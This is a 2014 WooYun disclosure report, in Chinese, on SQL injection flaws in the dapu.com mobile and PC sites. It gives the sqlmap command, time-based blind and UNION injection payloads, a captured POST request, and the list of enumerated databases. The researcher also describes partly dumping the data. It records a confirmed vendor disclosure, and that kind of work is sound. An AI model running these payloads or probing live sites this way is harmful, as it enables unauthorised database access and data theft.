当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076448

漏洞标题:大扑网m站SQL注入

相关厂商:大朴网

漏洞作者: 小饼仔

提交时间:2014-09-18 14:57

修复时间:2014-11-02 14:58

公开时间:2014-11-02 14:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-18: 细节已通知厂商并且等待厂商处理中
2014-09-19: 厂商已经确认,细节仅向厂商公开
2014-09-29: 细节向核心白帽子及相关领域专家公开
2014-10-09: 细节向普通白帽子公开
2014-10-19: 细节向实习白帽子公开
2014-11-02: 细节向公众公开

简要描述:

说句题外话,能再要一个邀请码吗?可以的话发到我邮箱,多谢。
这个是第一个发现的注入点,time-based blind,跑的比较慢,但是可以跑的出来。6个数据库,有一个数据库ecstoreprd有219张表对吧。
嘿嘿,其实这个我跑了一半,略慢,没跑完,数据库信息是我从另外一个PC站的注入点拿到的,发现M站和PC同一个数据库,速度那是杠杠的,链接:http://www.dapu.com/dapubaby.html,萌宝征集令活动,里面原本有个输入宝宝编号查看宝宝照片的功能,不过今天晚上被和谐掉了,原因你懂得,PS.没干啥坏事,只是瞧一瞧~

详细说明:

注入点是M站,链接:http://m.dapu.com/mgallery-items--1.html?scontent=%E9%95%BF


sqlmap:
python sqlmap.py -u "http://m.dapu.com/mgallery-items--1.html?scontent=%E9%95%BF"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all a
pplicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:18:23
[00:18:23] [INFO] resuming back-end DBMS 'mysql'
[00:18:23] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: scontent
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: scontent=%E9%95%BF') AND SLEEP(5) AND ('rlZQ'='rlZQ
---
[00:18:23] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11


数据库
available databases [6]:
[*] ecstoreprd
[*] information_schema
[*] mysql
[*] ocsprd
[*] performance_schema
[*] test


顺便附上已经被和谐的注入点:
POST /vote-ajax_get_vote_list_order.html HTTP/1.1
Host: www.dapu.com
Proxy-Connection: keep-alive
Content-Length: 64
Accept: */*
Origin: http://www.dapu.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://www.dapu.com/dapubaby.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4
batch_id=20140725&now_page=0&vote_type=a&search_key=123&limit=20


sqlmap:
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: limit
Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: batch_id=20140725&now_page=0&vote_type=a&search_key=123&limit=20 UNION ALL SELECT CONCAT(0x716f666d71,0x71516d4c68674d536944,0x7177757771),NULL,NULL,NULL,NULL,NULL#
---
[00:39:27] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 8.1

漏洞证明:

修复方案:

你懂得

版权声明:转载请注明来源 小饼仔@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-09-19 17:08

厂商回复:

漏洞已确认

最新状态:

暂无